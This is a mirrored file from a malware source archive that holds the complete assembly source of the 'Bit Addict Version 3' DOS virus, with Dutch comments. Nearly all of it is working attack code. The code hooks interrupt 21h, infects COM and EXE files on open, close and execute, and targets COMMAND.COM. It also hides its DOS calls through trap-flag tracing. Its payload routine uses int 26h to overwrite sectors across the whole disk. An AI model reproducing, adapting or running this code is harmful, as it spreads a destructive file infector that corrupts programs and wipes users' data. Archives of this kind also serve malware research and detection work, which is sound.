mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
813 lines
14 KiB
NASM
813 lines
14 KiB
NASM
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; Bit Addict Versie 3
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;-----------------------------------------------------------------------------
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;----- -----
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;----- Macros en andere hulpmiddellen -----
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;----- -----
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;-----------------------------------------------------------------------------
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; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
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; wordt dan 128 bytes en er dus een foutmelding komt
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jmpc macro Dest ; vervanging voor jc
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local @@00
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jnc @@00
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jmp Dest
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@@00:
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endm
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jmpnc macro Dest ; vervanging voor jnc
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local @@00
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jc @@00
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jmp Dest
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@@00:
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endm
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jmpe macro Dest ; vervanging voor je
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local @@00
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jnz @@00
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jmp Dest
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@@00:
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endm
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jmpne macro Dest ; vervanging voor jne
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local @@00
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jz @@00
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jmp Dest
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@@00:
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endm
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eseg segment
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mov ax,4c00h ; exit
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int 21h
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eseg ends
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;-----------------------------------------------------------------------------
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;----- -----
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;----- Begin van het Bit Addict virus -----
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;----- -----
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;-----------------------------------------------------------------------------
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg
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org 0
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CodeSize equ CodeEnd-BeginCode
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CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h
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VirusSize equ VirusEnd-BeginCode
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VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h
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HeaderLength equ 18h
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BeginCode equ $
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SavedCode equ this byte ; gegevens over het
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OldSignature dw 5a4dh ; programma voor het virus
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OldCSIP equ this dword
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OldIP dw 0
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OldCS dw 0
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OldSP dw 200h
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OldSS dw 0
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dw 3 dup(0)
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Comspec db 'COMSPEC=' ; comspec environment variabele
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; om de command.com te vinden
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ID db 'Bit Addict Version 3'
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ID_Length equ $-offset ID
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Count dw 0
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Bios db 10h dup(0)
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ChkSum dw 0
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Begin: push ax ; Programma om het virus
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push bx ; in het geheugen te zetten
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push cx
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push dx
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push si
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push di
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push ds
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push es
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call Init
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jnc @@12
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call BiosCheck
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push cs
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pop es
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xor al,al
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mov cx,VirusSize-CodeSize
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mov di,CodeSize
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cld
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rep stosb
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call DebugOn
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mov ah,52h ; lees het adres van de eerste
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call DOS ; disk-buffer
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push bx
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mov ah,30h
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call DOS
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pop di
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call DebugOff
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cmp al,2 ; dit werkt niet op dos 1.x
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jb @@12
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cmp al,3 ; voor dos 2.x op di+13h en
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adc di,12h ; voor dos 3+ op di+12h
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lds si,es:[di]
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or si,si
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jne @@12
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push di
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cld
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movsw ; reserveer 1e buffer
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movsw
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pop di
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mov cx,ds
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mov dx,ds
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mov bx,3
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@@10: call GetBuffer ; reserveer 2e,3e en 4e
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jc @@11 ; buffer
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dec bx
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jne @@10
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call CopyBitAddict ; Copieer bit addict naar
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pop es ; de buffers
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push es ; Infecteer bestand in de
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call InfectComspec ; comspec
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jmp short @@12
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@@11: call RestoreBuffers
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@@12: pop es ; ga nu verder met het
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pop ds ; programma voor Bit Addict
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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cli
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mov ss,cs:OldSS
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mov sp,cs:OldSP
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sti
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jmp cs:OldCSIP
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GetBuffer: ; reserveer een buffer
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push di ; cx = eerste buffer
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push es ; dx = laatste buffer
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jmp short @@21
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@@20: push ds
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pop es
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mov di,si
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@@21: lds si,es:[di]
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or si,si
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jne @@23
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mov ax,ds
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sub ax,dx
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cmp ax,21h
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jne @@22
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mov dx,ds
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cld
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movsw
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movsw
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clc
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jmp short @@24
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@@22: mov ax,ds
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sub ax,cx
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neg ax
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cmp ax,21h
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jne @@20
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mov cx,ds
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cld
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movsw
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movsw
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clc
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jmp short @@24
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@@23: stc
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@@24: pop es
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pop di
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ret
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CopyBitAddict:
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push cs ; copieer Bit Addict naar de
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pop ds ; gereserveerde buffers
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mov es,cx
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xor si,si
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xor di,di
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mov cx,VirusSize
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cld
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rep movsb
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xor ax,ax ; leid interrupt 21h om naar
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mov ds,ax ; Bit Addict
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mov word ptr ds:[84h],offset NewInt21
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mov word ptr ds:[86h],es
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ret
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InfectComspec:
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mov es,es:[2ch] ; lees environment segment
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xor di,di
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push cs ; zoek naar de comspec
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pop ds ; variabele
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mov si,offset Comspec
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@@30: push si
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push di
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mov cx,8
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cld
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repe cmpsb
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pop di
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pop si
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je @@31
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xor al,al
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mov cx,-1
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cld
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repne scasb
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cmp byte ptr es:[di],0
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jne @@30
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jmp short @@32
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@@31: push es ; infecteer de COMMAND.COM of
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pop ds ; andere command interpreter
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lea dx,[di+8]
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push cs:OldIP
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push cs:OldCS
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push cs:OldSP
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push cs:OldSS
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call Infect
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pop cs:OldSS
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pop cs:OldSP
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pop cs:OldCS
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pop cs:OldIP
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@@32: ret
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RestoreBuffers:
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mov ax,cx
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@@40: cmp ax,dx
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je @@42
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mov ds,ax
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add ax,21h
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mov word ptr ds:[0],0
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mov word ptr ds:[2],ax
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jmp short @@40
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@@42: mov ds,dx
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mov ax,es:[di]
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mov ds:[0],ax
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mov word ptr es:[di],0
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mov ax,es:[di+2]
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mov ds:[2],ax
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mov es:[di+2],cx
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ret
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DebugOn:push ax
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push ds
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xor ax,ax
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mov ds,ax
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cli
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mov ax,ds:[4h]
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mov word ptr cs:OldInt1[0],ax
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mov ax,ds:[6h]
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mov word ptr cs:OldInt1[2],ax
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mov word ptr ds:[4],offset NewInt1
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mov word ptr ds:[6],cs
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mov ax,ds:[84h]
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mov word ptr cs:OldInt21[0],ax
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mov ax,ds:[86h]
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mov word ptr cs:OldInt21[2],ax
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mov word ptr cs:DosInt21[0],0
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mov word ptr cs:DosInt21[2],0
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sti
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pop ds
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pop ax
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pushf
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push cs
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call SetTrap
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ret
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SetTrap:push bp
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mov bp,sp
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or word ptr ss:[bp+6],100h
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pop bp
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iret
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DebugOff:
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pushf
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push cs
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call ClearTrap
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push ax
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push ds
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xor ax,ax
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mov ds,ax
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cli
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mov ax,word ptr cs:OldInt1[0]
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mov ds:[4],ax
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mov ax,word ptr cs:OldInt1[2]
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mov ds:[6],ax
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sti
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pop ds
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pop ax
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ret
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ClearTrap:
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push bp
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mov bp,sp
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and word ptr ss:[bp+6],0feffh
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pop bp
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iret
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Init: push cs
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pop ds
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cmp OldSignature,5a4dh
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je @@50
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mov si,offset SavedCode ; herstel begin van het
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mov di,100h ; com-programma
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mov cx,10h
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cld
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rep movsb
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mov OldSS,ss ; bewaar de waarden van
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mov OldSP,sp ; ss,sp,cs en ip
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sub OldSP,10h
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mov OldCS,es
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mov OldIP,100h
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jmp short @@51
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@@50: mov ax,es ; bereken de waarden van
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add ax,10h ; ss,sp,cs en ip
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add OldCS,ax
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add OldSS,ax
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@@51: mov ax,4b40h ; controleer of Bit Addict al
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int 21h ; in het geheugen aanwezig is
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jc @@52
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mov ds,ax
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push cs ; vergelijk identificatie
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pop ds
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mov si,offset ID
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mov di,si
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mov cx,ID_Length
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cld
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repe cmpsb
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je @@52
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stc
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@@52: ret
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BiosCheck:
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mov ax,0f000h
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mov ds,ax
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push cs
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pop es
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xor si,si
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mov di,offset Bios
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mov cx,10h
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cld
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repe cmpsb
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je @@54
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mov ax,cs:Count
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inc ax
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cmp ax,100h
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jb @@53
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call BitAddict
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@@53: mov cs:Count,ax
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xor si,si
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mov di,offset Bios
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mov cx,10h
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rep movsb
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@@54: ret
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BitAddict:
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xor dx,dx
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@@55: push dx
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mov ax,3
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xor bx,bx
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mov cx,40h
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int 26h
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pop ax
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pop dx
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add dx,40h
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or dx,dx
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jne @@55
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ret
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NewInt1:push bp
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mov bp,sp
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push ax
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mov ax,word ptr cs:DosInt21[0]
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or ax,word ptr cs:DosInt21[2]
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jnz @@60
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cmp word ptr ss:[bp+4],300h
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jae @@61
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mov ax,ss:[bp+2]
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mov word ptr cs:DosInt21[0],ax
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mov ax,ss:[bp+4]
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mov word ptr cs:DosInt21[2],ax
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@@60: and word ptr ss:[bp+6],0feffh
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@@61: pop ax
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pop bp
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iret
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DOS: push ax
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mov ax,word ptr cs:DosInt21[0]
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or ax,word ptr cs:DosInt21[2]
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pop ax
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jnz @@62
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pushf
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call cs:OldInt21
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ret
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@@62: pushf
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call cs:DosInt21
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ret
|
|||
|
|
|
|||
|
|
InstallCheck: ; Zo kan bit addict weten
|
|||
|
|
mov ax,cs ; dat er al een andere copy
|
|||
|
|
popf ; aanwezig is
|
|||
|
|
clc
|
|||
|
|
retf 2
|
|||
|
|
|
|||
|
|
Exec: call CheckExtension ; functie 4bh, infecteer eerst
|
|||
|
|
jc EOI ; met Bit Addict
|
|||
|
|
mov byte ptr cs:Active,1
|
|||
|
|
call Infect
|
|||
|
|
mov byte ptr cs:Active,0
|
|||
|
|
jmp short EOI
|
|||
|
|
|
|||
|
|
NewInt21: ; Het nieuwe interrupt 21h
|
|||
|
|
pushf
|
|||
|
|
cmp byte ptr cs:Active,0
|
|||
|
|
jne EOI
|
|||
|
|
cmp ah,3dh
|
|||
|
|
je Open
|
|||
|
|
cmp ah,3ch
|
|||
|
|
je Open
|
|||
|
|
cmp ah,3eh
|
|||
|
|
je Close
|
|||
|
|
cmp ax,4b40h
|
|||
|
|
je InstallCheck
|
|||
|
|
cmp ah,4bh
|
|||
|
|
je Exec
|
|||
|
|
EOI: popf
|
|||
|
|
jmp cs:OldInt21
|
|||
|
|
|
|||
|
|
Open: call CheckExtension
|
|||
|
|
jc EOI
|
|||
|
|
mov byte ptr cs:Active,1
|
|||
|
|
call cs:OldInt21
|
|||
|
|
jc @@92
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push cx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push es
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov si,dx
|
|||
|
|
mov di,offset File1
|
|||
|
|
cmp word ptr es:[di],0
|
|||
|
|
je @@90
|
|||
|
|
mov di,offset File2
|
|||
|
|
cmp word ptr es:[di],0
|
|||
|
|
jne @@91
|
|||
|
|
@@90: cld
|
|||
|
|
stosw
|
|||
|
|
mov cx,70
|
|||
|
|
rep movsb
|
|||
|
|
@@91: pop es
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
@@92: mov byte ptr cs:Active,0
|
|||
|
|
retf 2
|
|||
|
|
|
|||
|
|
Close: cmp bx,cs:File1
|
|||
|
|
je @@93
|
|||
|
|
cmp bx,cs:File2
|
|||
|
|
jne EOI
|
|||
|
|
mov byte ptr cs:Active,1
|
|||
|
|
call cs:OldInt21
|
|||
|
|
push si
|
|||
|
|
mov si,offset File2
|
|||
|
|
jmp short @@94
|
|||
|
|
@@93: mov byte ptr cs:Active,1
|
|||
|
|
call cs:OldInt21
|
|||
|
|
push si
|
|||
|
|
mov si,offset File1
|
|||
|
|
@@94: jc @@95
|
|||
|
|
pushf
|
|||
|
|
push dx
|
|||
|
|
push ds
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
lea dx,[si+2]
|
|||
|
|
call Infect
|
|||
|
|
pop ds
|
|||
|
|
pop dx
|
|||
|
|
popf
|
|||
|
|
@@95: mov word ptr cs:[si],0
|
|||
|
|
mov byte ptr cs:Active,0
|
|||
|
|
pop si
|
|||
|
|
retf 2
|
|||
|
|
|
|||
|
|
CheckExtension:
|
|||
|
|
push ax
|
|||
|
|
push cx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push es
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
mov di,dx
|
|||
|
|
xor al,al
|
|||
|
|
mov cx,70
|
|||
|
|
cld
|
|||
|
|
repne scasb
|
|||
|
|
jne @@65
|
|||
|
|
std
|
|||
|
|
mov al,'.'
|
|||
|
|
neg cx
|
|||
|
|
add cx,70
|
|||
|
|
std
|
|||
|
|
repne scasb
|
|||
|
|
jne @@65
|
|||
|
|
lea si,[di+2]
|
|||
|
|
cld
|
|||
|
|
lodsw
|
|||
|
|
and ax,0dfdfh
|
|||
|
|
cmp ax,5845h ; 'EX'
|
|||
|
|
je @@64
|
|||
|
|
cmp ax,4f43h ; 'CO'
|
|||
|
|
jne @@65
|
|||
|
|
lodsb
|
|||
|
|
and al,0dfh
|
|||
|
|
cmp al,4dh ; 'M'
|
|||
|
|
je @@66
|
|||
|
|
jmp short @@65
|
|||
|
|
@@64: lodsb
|
|||
|
|
and al,0dfh
|
|||
|
|
cmp al,45h ; 'E'
|
|||
|
|
je @@66
|
|||
|
|
@@65: stc
|
|||
|
|
jmp short @@67
|
|||
|
|
@@66: clc
|
|||
|
|
@@67: pop es
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
ComHeader: ; dit stukje wordt voor een
|
|||
|
|
mov ax,cs ; COM-file geplaatst
|
|||
|
|
add ax,0100h
|
|||
|
|
OldSize equ this word-2
|
|||
|
|
push ax
|
|||
|
|
mov ax,offset Begin
|
|||
|
|
push ax
|
|||
|
|
retf
|
|||
|
|
|
|||
|
|
Infect: push ax ; Infecteer een file
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push bp
|
|||
|
|
push es
|
|||
|
|
mov ax,4300h ; lees attributen en bewaar
|
|||
|
|
call DOS ; ze
|
|||
|
|
jmpc @@83
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push ds
|
|||
|
|
test cx,1
|
|||
|
|
jz @@71
|
|||
|
|
mov ax,4301h ; set Read-Only attribuut
|
|||
|
|
and cx,0fffeh ; op nul
|
|||
|
|
call DOS
|
|||
|
|
jmpc @@82
|
|||
|
|
@@71: mov ax,3d02h ; open de file
|
|||
|
|
call DOS
|
|||
|
|
jmpc @@82
|
|||
|
|
mov bx,ax
|
|||
|
|
mov ax,5700h ; lees de datum en tijd en
|
|||
|
|
call DOS ; bewaar ze
|
|||
|
|
jmpc @@81
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push cs ; ds=es=cs
|
|||
|
|
pop ds
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov ah,3fh ; lees de header van de file
|
|||
|
|
mov cx,HeaderLength
|
|||
|
|
mov dx,offset Header
|
|||
|
|
call DOS
|
|||
|
|
jmpc @@80
|
|||
|
|
cmp ax,HeaderLength
|
|||
|
|
jne @@75
|
|||
|
|
cmp Signature,5a4dh
|
|||
|
|
jne @@72
|
|||
|
|
mov ax,ExeCS ; zoek de plaats waar de
|
|||
|
|
add ax,HeaderSize ; identificatie zou moeten
|
|||
|
|
mov dx,10h ; staan voor exe-files
|
|||
|
|
mul dx
|
|||
|
|
add ax,offset ID
|
|||
|
|
adc dx,0
|
|||
|
|
jmp short @@73
|
|||
|
|
@@72: mov ax,ComCS ; doe hetzelfde maar dan voor
|
|||
|
|
mov dx,10h ; een com-file
|
|||
|
|
sub ax,dx
|
|||
|
|
mul dx
|
|||
|
|
add ax,offset ID
|
|||
|
|
adc dx,0
|
|||
|
|
@@73: mov cx,dx
|
|||
|
|
mov dx,ax
|
|||
|
|
mov ax,4200h
|
|||
|
|
call DOS
|
|||
|
|
jc @@74
|
|||
|
|
mov ah,3fh ; lees de ID indien aanwezig
|
|||
|
|
mov cx,ID_Length
|
|||
|
|
mov dx,offset ID_Check
|
|||
|
|
call DOS
|
|||
|
|
jc @@74
|
|||
|
|
cmp ax,ID_Length
|
|||
|
|
jne @@74
|
|||
|
|
mov si,offset ID_Check ; controleer of ID aanwezig
|
|||
|
|
mov di,offset ID ; is
|
|||
|
|
mov cx,ID_Length
|
|||
|
|
cld
|
|||
|
|
repe cmpsb
|
|||
|
|
jmpe @@80 ; als ID aanwezig is, stop dan
|
|||
|
|
@@74: cmp Signature,5a4dh
|
|||
|
|
je @@77
|
|||
|
|
@@75: mov ax,4202h ; infecteer com-files
|
|||
|
|
xor cx,cx ; ga naar het einde van de file
|
|||
|
|
xor dx,dx
|
|||
|
|
call DOS
|
|||
|
|
mov cx,10h ; aanpassen van de com-header
|
|||
|
|
div cx ; aan deze com-file
|
|||
|
|
or dx,dx
|
|||
|
|
je @@76
|
|||
|
|
push ax
|
|||
|
|
mov ah,40h
|
|||
|
|
mov cx,10h
|
|||
|
|
sub cx,dx
|
|||
|
|
xor dx,dx
|
|||
|
|
call DOS
|
|||
|
|
pop ax
|
|||
|
|
jmpc @@80
|
|||
|
|
inc ax
|
|||
|
|
@@76: add ax,10h
|
|||
|
|
mov OldSize,ax
|
|||
|
|
mov si,offset Header ; bewaar het eerste deel van
|
|||
|
|
mov di,offset SavedCode ; het programma
|
|||
|
|
mov cx,10h
|
|||
|
|
cld
|
|||
|
|
rep movsb
|
|||
|
|
mov ah,40h ; schrijf het virus achter het
|
|||
|
|
mov cx,CodeSize ; programma
|
|||
|
|
xor dx,dx
|
|||
|
|
call DOS
|
|||
|
|
jmpc @@80
|
|||
|
|
mov ax,4200h ; ga naar het begin van de file
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
call DOS
|
|||
|
|
jmpc @@80
|
|||
|
|
mov ah,40h ; overschrijf het begin van het
|
|||
|
|
mov cx,10h ; programma met de com-header
|
|||
|
|
mov dx,offset ComHeader
|
|||
|
|
call DOS
|
|||
|
|
jmp @@80
|
|||
|
|
@@77: mov OldSignature,5a4dh ; infecteer exe-files
|
|||
|
|
mov ax,ExeIP ; bewaar de oude waarden van
|
|||
|
|
mov OldIP,ax ; cs:ip en ss:sp
|
|||
|
|
mov ax,ExeCS
|
|||
|
|
mov OldCS,ax
|
|||
|
|
mov ax,ExeSP
|
|||
|
|
mov OldSP,ax
|
|||
|
|
mov ax,ExeSS
|
|||
|
|
mov OldSS,ax
|
|||
|
|
mov ax,PageCount ; pas de waarden van cs:ip en
|
|||
|
|
dec ax ; ss:sp aan, en pas ook de
|
|||
|
|
mov cx,200h ; lengte van de file aan
|
|||
|
|
mul cx
|
|||
|
|
add ax,PartPage
|
|||
|
|
adc dx,0
|
|||
|
|
mov cx,dx
|
|||
|
|
mov dx,ax
|
|||
|
|
mov ax,4200h
|
|||
|
|
call DOS
|
|||
|
|
jmpc @@80
|
|||
|
|
push ax
|
|||
|
|
push dx
|
|||
|
|
mov ah,3fh
|
|||
|
|
mov cx,80h
|
|||
|
|
mov dx,offset Buffer
|
|||
|
|
int 21h
|
|||
|
|
mov cx,ax
|
|||
|
|
pop dx
|
|||
|
|
pop ax
|
|||
|
|
jmpc @@80
|
|||
|
|
cmp cx,80h
|
|||
|
|
jmpe @@80
|
|||
|
|
add ax,cx
|
|||
|
|
adc dx,0
|
|||
|
|
mov cx,10h
|
|||
|
|
div cx
|
|||
|
|
or dx,dx
|
|||
|
|
je @@78
|
|||
|
|
push ax
|
|||
|
|
push dx
|
|||
|
|
mov ah,40h
|
|||
|
|
mov cx,10h
|
|||
|
|
sub cx,dx
|
|||
|
|
xor dx,dx
|
|||
|
|
call DOS
|
|||
|
|
pop dx
|
|||
|
|
pop ax
|
|||
|
|
jc @@80
|
|||
|
|
inc ax
|
|||
|
|
@@78: sub ax,HeaderSize
|
|||
|
|
mov ExeCS,ax
|
|||
|
|
mov ExeIP,offset Begin
|
|||
|
|
add ax,VirusSizePara
|
|||
|
|
mov ExeSS,ax
|
|||
|
|
mov ExeSP,200h
|
|||
|
|
mov ax,MinMem
|
|||
|
|
cmp ax,20h+VirusSizePara-CodeSizePara
|
|||
|
|
jae @@79
|
|||
|
|
mov ax,20h
|
|||
|
|
@@79: mov MinMem,ax
|
|||
|
|
mov ax,PartPage
|
|||
|
|
add ax,CodeSize
|
|||
|
|
add ax,dx
|
|||
|
|
mov cx,200h
|
|||
|
|
xor dx,dx
|
|||
|
|
div cx
|
|||
|
|
add PageCount,ax
|
|||
|
|
mov PartPage,dx
|
|||
|
|
mov ah,40h ; schrijf het virus achter
|
|||
|
|
mov cx,CodeSize ; de exe-file, indien de
|
|||
|
|
xor dx,dx ; exe-file overlays bevat dan
|
|||
|
|
call DOS ; worden ze overschreven en is
|
|||
|
|
jc @@80 ; de exe-file onherstelbaar
|
|||
|
|
mov ax,4200h ; beschadigd
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx ; ga naar het begin van de file
|
|||
|
|
call DOS
|
|||
|
|
jc @@80
|
|||
|
|
mov ah,40h ; schrijf de nieuwe exe-header
|
|||
|
|
mov cx,HeaderLength ; over de oude heen.
|
|||
|
|
mov dx,offset Header
|
|||
|
|
call DOS
|
|||
|
|
@@80: pop dx ; herstel de datum van de file
|
|||
|
|
pop cx
|
|||
|
|
mov ax,5701h
|
|||
|
|
call DOS
|
|||
|
|
@@81: mov ah,3eh ; sluit de file
|
|||
|
|
call DOS
|
|||
|
|
@@82: pop ds ; herstel de attributen van de
|
|||
|
|
pop dx ; file
|
|||
|
|
pop cx
|
|||
|
|
test cx,1
|
|||
|
|
jz @@83
|
|||
|
|
mov ax,4301h
|
|||
|
|
call DOS
|
|||
|
|
@@83: pop es ; herstel de waarden van de
|
|||
|
|
pop bp ; registers en keer terug
|
|||
|
|
pop di ; naar het oude interrupt 21
|
|||
|
|
pop si
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
CodeEnd equ $
|
|||
|
|
|
|||
|
|
Header dw HeaderLength/2 dup(?)
|
|||
|
|
ComCS equ Header[OldSize-Comheader] ; Com file
|
|||
|
|
|
|||
|
|
Signature equ Header[0h] ; Exe file
|
|||
|
|
PartPage equ Header[2h]
|
|||
|
|
PageCount equ Header[4h]
|
|||
|
|
HeaderSize equ Header[8h]
|
|||
|
|
MinMem equ Header[0ah]
|
|||
|
|
MaxMem equ Header[0ch]
|
|||
|
|
ExeSS equ Header[0eh]
|
|||
|
|
ExeSP equ Header[10h]
|
|||
|
|
ExeIP equ Header[14h]
|
|||
|
|
ExeCS equ Header[16h]
|
|||
|
|
|
|||
|
|
ID_Check db ID_Length dup(?)
|
|||
|
|
|
|||
|
|
Active db ?
|
|||
|
|
|
|||
|
|
DosInt21 dd ?
|
|||
|
|
OldInt21 dd ?
|
|||
|
|
OldInt1 dd ?
|
|||
|
|
|
|||
|
|
File1 dw 36 dup(?)
|
|||
|
|
File2 dw 36 dup(?)
|
|||
|
|
|
|||
|
|
Buffer db 80h dup(?)
|
|||
|
|
|
|||
|
|
VirusEnd equ $
|
|||
|
|
|
|||
|
|
cseg ends
|
|||
|
|
|
|||
|
|
sseg segment stack
|
|||
|
|
db 200h dup(?)
|
|||
|
|
sseg ends
|
|||
|
|
|
|||
|
|
end Begin
|